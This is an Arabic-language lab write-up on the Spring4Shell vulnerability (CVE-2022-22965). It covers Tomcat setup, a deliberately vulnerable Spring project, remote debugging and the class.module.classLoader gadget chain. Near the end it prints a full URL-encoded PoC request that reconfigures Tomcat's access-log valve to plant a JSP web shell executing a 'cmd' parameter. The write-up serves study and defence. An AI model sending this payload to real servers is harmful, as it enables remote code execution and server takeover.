
تحليل تقني متعمق لـ CVE-2022-22965 (Spring4Shell) مع إعداد البيئة، وشرح التصحيح خطوة بخطوة، وتحليل سلسلة الاستغلال للتمرين المختبري التعليمي.
Spring4Shell هو اسم CVE موجود في Spring Core من إطار العمل Spring.
بنقطة CVSS 3.x البالغة 9.8، تم تصنيف الثغرة ضمن أعلى مستوى مخاطر (حرج). تسمح هذه الثغرة للمهاجم بتنفيذ تعليمات برمجية خبيثة عن بُعد والتحكم في الخادم الذي يحتوي على الثغرة.
إلى جانب انتشار Spring Core على الإنترنت وخطورة Spring4Shell، يقيم الخبراء أن تأثير هذه الثغرة لا يقل عن Log4shell.
لا تؤثر Spring4Shell على جميع تطبيقات الويب التي تستخدم إطار العمل Spring على الإنترنت، بل تتطلب وجود العناصر التالية في تطبيق الويب:
البيئة التي قمت بإعدادها ستحتوي على المواصفات التالية:
تثبيت Apache Tomcat
كما ذكرت أعلاه، أستخدم kali 2021.4a و Apache Tomcat 9.0.45. إذا كنت لا تعرف كيفية تثبيت Apache Tomcat وتريد تثبيته على Kali Linux، يمكنك الاطلاع على هذا الرابط.
ملاحظة: استبدل الرابط https://mirror.kiu.ac.ug/apache/tomcat/tomcat-9/v9.0.45/bin/apache-tomcat-9.0.45.tar.gz بـ https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.45/bin/apache-tomcat-9.0.45.tar.gz
اختيار بيئة التطوير المتكاملة IDE
نحتاج إلى IDE لكتابة المشروع، وتجميعه على شكل ملف .war، والأهم من ذلك هو التصحيح. أنا أستخدم Intellij، يمكنك استخدام Eclipse أو Netbeans... المهم أن IDE يدعم java.
إنشاء مشروع بسيط يحتوي على الثغرة
مشروعي بسيط جدًا، ويتكون من:
نموذج HelloWorld.java

وحدة تحكم HelloWorldController.java

عرض hello.jsp

بناء ملف .war
لتجميع المشروع، قم بما يلي: Build -> Build Artifacts -> helloworld:war -> Build.
انتظر حتى يكتمل البناء بنجاح، عندها سيظهر مجلد إضافي باسم out في المشروع. اذهب إلى ./out/artifacts/your_war_name/ وستجد ملفًا باسم your_war_name.war، هذا الملف .war هو مشروع الويب بعد التجميع والتعبئة، ويمكن استخدامه للنشر على خوادم Java Servlet مثل Apache Tomcat.
إذا كان Build Artifacts غير نشط (لا يمكن بناء Artifacts)، فهذا يعني أن Build Artifacts لم يتم إعداده لهذا المشروع. اذهب إلى: File -> Project Structure -> Artifacts -> احذف جميع artifacts الموجودة -> Add (علامة +) -> Web Application: Exploded -> From Modules... -> OK (انتهاء إنشاء Exploded) -> Add (علامة +) -> Web Application: Archive -> For ‘helloworld:war exploded’ -> OK. ثم أعد تنفيذ Build Artifacts.
النشر وإعداد التصحيح
النشر
لنشر ملف .war على Apache Tomcat،只需 copy ملف .war إلى المجلد /webapps داخل مجلد Apache Tomcat (مثال: بالنسبة لي، سأقوم بنسخ ملف helloworld.war (أعدت تسميته لسهولة الاستدعاء) إلى المجلد /opt/tomcat/apache-tomcat-9.0.45/webapps/). بعد ذلك، قم بتشغيل خادم Tomcat بإحدى طريقتين (لنظام linux):
بعد النشر، تفضل بزيارة http://localhost:8080/helloworld
إعداد التصحيح
لإعداد التصحيح (عن بُعد) لـ Tomcat، اتبع ما يلي:
جانب الخادم:
افتح ملف catalina.sh واستبدل قيمة localhost بـ ip_may_ao للمعامل JPDA_ADDRESS

أعد تشغيل خادم Tomcat باستخدام: /opt/tomcat/apache-tomcat-9.0.45/bin/catalina.sh jpda start. في هذه الحالة، بالإضافة إلى فتح المنفذ 8080 لخادم HTTP، سيفتح Tomcat أيضًا المنفذ 8000 للسماح لنا بالاتصال به والتصحيح
ملاحظة: في جزء التصحيح هذا، أقوم بتشغيل Intellij على Windows 10 وتشغيل Tomcat على الآلة الافتراضية Kali، لذلك أحتاج إلى تغيير JPDA_ADDRESS. إذا قمت بإعداد كل من Intellij و Windows 10 على نفس الجهاز، فلا تحتاج إلى تغييره.
جانب Intellij:
اذهب إلى Run -> Edit Configurations... -> Add (علامة +) -> Remote JVM Debug
قم بتسميته -> قم بتعديل Host و Port ليكون عنوان IP والمنفذ الذي قمت بتعديله في ملف catalina.sh -> OK -> Shift + F9 (بدء التصحيح)

أولاً، سأقوم بتحليل المشروع الذي أستخدمه للتصحيح، كما ذكرت أعلاه، هذا المشروع ببساطة يتكون من:
لدي مثال كما يلي:

قام التطبيق بأخذ المعلومات من معاملات طلب POST وإنشاء كائن helloWorld{"person":"Leo", "message":"Hi there"}، هذا الكائن helloWorld هو المدخل لدالة helloPost. سيقوم التطبيق بالعمل كما ذكرت أعلاه لإعادة الاستجابة للمستخدم.
عملية تحويل المعاملات في جسم طلب POST إلى كائن helloWorld تتم بالكامل تلقائيًا بواسطة Spring، فكيف يعمل ذلك؟ وهل يقوم بالتحقق من صحة المعاملات المدخلة؟
هذه الصورة ملتقطة أثناء عملية التصحيح، مثال تم تنفيذه بطلب body هو "class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT" (سأشير إلى الجانب الأيسر (تتبع الاستدعاءات stack trace) بـ (1) والجانب الأيمن بـ (2)):

في (1) قمت بتمييز النقاط المهمة (بالنظر من الأسفل إلى الأعلى)، حيث سيقوم Spring بتنفيذ applyPropertyValue لكائن helloWorld من معاملات طلب POST. وإذا كانت المعاملات ببساطة person=Leo&message=Hi%20space، فسيتمكن Spring من العثور على أن الكلمة المفتاحية 'person' تقابل helloWorld.person، و 'message' تقابل helloWorld.message.
لكن Spring يسمح لنا أيضًا بإرسال الكائنات عبر طلب http (القول بإرسال كائن عبر http مبالغ فيه بعض الشيء، لكن فهمه هكذا تقريبي). لنفترض أن خاصية person لم تعد سلسلة نصية بل ستكون كائن Person، وفي Person سيكون هناك خاصيتان فرعيتان: name (سلسلة نصية) و age (عدد صحيح). ولإرسال معلومات كائن Person هذا إلى الخادم سيكون كالتالي: "person.name=Leo&person.age=23".
إذن شكل المعاملات سيكون A.B.C.D… = X بدلاً من A=X. ولمعالجة الشكل A.B.C.D… = X، لنفترض أن هناك معامل مثل A.B.C = X، فببساطة سيقوم Spring بهذا العمل: تحويل ما سبق إلى getA.getB.setC(X).
لن أشرح ما هو getA، بل سأمثل بحالة يكون فيها طلب body هو "person.name=Leo&person.age=23"، فسيبحث Spring في كائن helloWorld عن خاصية person ودالة getPerson، وإذا وجدها، سيقوم Spring باستدعاء helloWorld.getPerson()، وعندها سيحصل Spring على كائن من نوع Person، دعني أسميه مؤقتًا person1، وسيبحث Spring في person1 عن خاصية 'name' و setName (لأن بعد 'name' تأتي علامة '=')، وإذا وجدها، سيقوم باستدعاء setName(Leo) لـ person1.
أما بالنسبة لـ person.age، فلن يعيد Spring البحث من البداية للعثور على person ثم age، بل سيعيد استخدام الكائنات السابقة، في هذه الحالة helloWorld و person1.
بعد الخطوات المذكورة أعلاه، سيكون لدى الخادم كائن helloWorld{person:{name:"Leo", age:23}} (دعنا نتجاهل خاصية message مؤقتًا).
إذن كيف يستطيع Spring العثور على خصائص كل كائن، مثل خاصية 'person' لكائن helloWorld؟
انظر إلى بداية (1) حيث توجد دالة CachedIntrospectionResults(beanClass)، هذه الدالة تقوم بإدراج خصائص beanClass. انظر إلى (2) سترى أنه عندما يكون beanClass هو model.HelloWorld، سيكون هناك 3 خصائص. بينما نموذج HelloWorld الذي أنشأته يحتوي فقط على خاصيتين 'person' و 'message'، إذن الدالة أعلاه أضافت خاصية 'class'، وإذا قمت بتوسيع سطر 'class' سترى أن نوع الخاصية هو 'java.lang.class'
إذن يمكننا التأثير على كائن class من نوع java.lang.class -> هذا هو مصدر (source) هذه الثغرة Spring4Shell.
بخصوص المصدر أعلاه، فقد كان هناك CVE-2010-1622 متعلق بهذا المصدر. قام مؤلف CVE-2010-1622 باستغلال هذا المصدر باستخدام الحمولة class.classLoader.URLs[0] = X.
لأن فئة java.lang.class تحتوي على دالة getClassLoader() التي تُرجع كائن ClassLoader، ويمكن التأثير على هذا ClassLoader على مصفوفة URLs الخاصة بـ Tomcat (المستخدمة لتحميل الموارد). ومن خلال القدرة على التأثير على URLs، يمكن للمهاجم تغيير قيمة URLs[0] إلى عنوان URL لتنفيذ اتصال عن بُعد بملف Jar خبيث (يسيطر عليه المهاجم).
لإصلاح هذا الخطأ، قام Spring بتطبيق فلتر (قائمة سوداء) في دالة CachedIntrospectionResults(beanClass):

إذا كان 'beanClass' == Class.class (java.lang.class)، فيجب أن تكون pd مختلفة عن 'classLoader' و 'protectionDomain'، والدليل أنه بعد أن تقوم CachedIntrospectionResults بتحميل جميع خصائص java.lang.class، لا توجد خاصيتا 'classLoader' و 'protectionDomain':

لكن بدلاً من ذلك، بدءًا من JDK 9، تمت إضافة خاصية 'module' إلى Class.class، وفي Class.module توجد خاصية classLoader:

→ إذن باستخدام JDK 9 فما فوق، يمكن تجاوز القائمة السوداء لـ Spring!!!
استنادًا إلى PoC العام لثغرة Spring4Shell، نرى أن الحمولة التي استخدموها تأخذ الشكل:
class.module.classloader.resources.context.parent.pipeline.first ⇔ Class.getModule().getClassLoader().getResources().getContext().getParent().getPipeline().getFirst()
بناءً على التصحيح، يمكننا رؤية سلسلة الأدوات التالية (gadget chain):
java.lang.class.getModule() -> java.lang.module.getClassLoader() -> org.apache.catalina.loader.ParallelWebappClassLoader.getResources() -> org.apache.catalina.webresources.StandardRoot.getContext() -> org.apache.catalina.core.StandardContext.getParent() -> org.apache.catalina.core.StandardHost.getPipeline() -> org.apache.catalina.core.StandardPipeline.getFirst() -> org.apache.catalina.valves.AccessLogValue.
وفئة AccessLogValue تحتوي على الخصائص التالية:

يمكننا استدعاء كائن AccessLogValue، وهذا الكائن AccessLogValue يؤثر على تسجيل السجلات (log) في Tomcat.
→ يمكننا إنشاء ملف على الخادم عن طريق تعيين خصائص كائن AccessLogValue على خادم Tomcat. للقيام بذلك، في PoC قاموا بتعيين الخصائص Prefix، Suffix، Pattern، Directory و fileDateFormat. وسيكون طلب الحمولة كالتالي:
"class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
قائمة نقاط التوقف (Breakpoints)
لتسهيل عملية التصحيح، يمكنك وضع نقاط التوقف في المواقع التالية:

هذا التحليل ليس به خاتمة بالمعنى الحقيقي، هذه الفقرة أضيفت فقط من أجل الشكل!!!
إذا كنت تبحث عن طريقة للإصلاح، فهي هنا.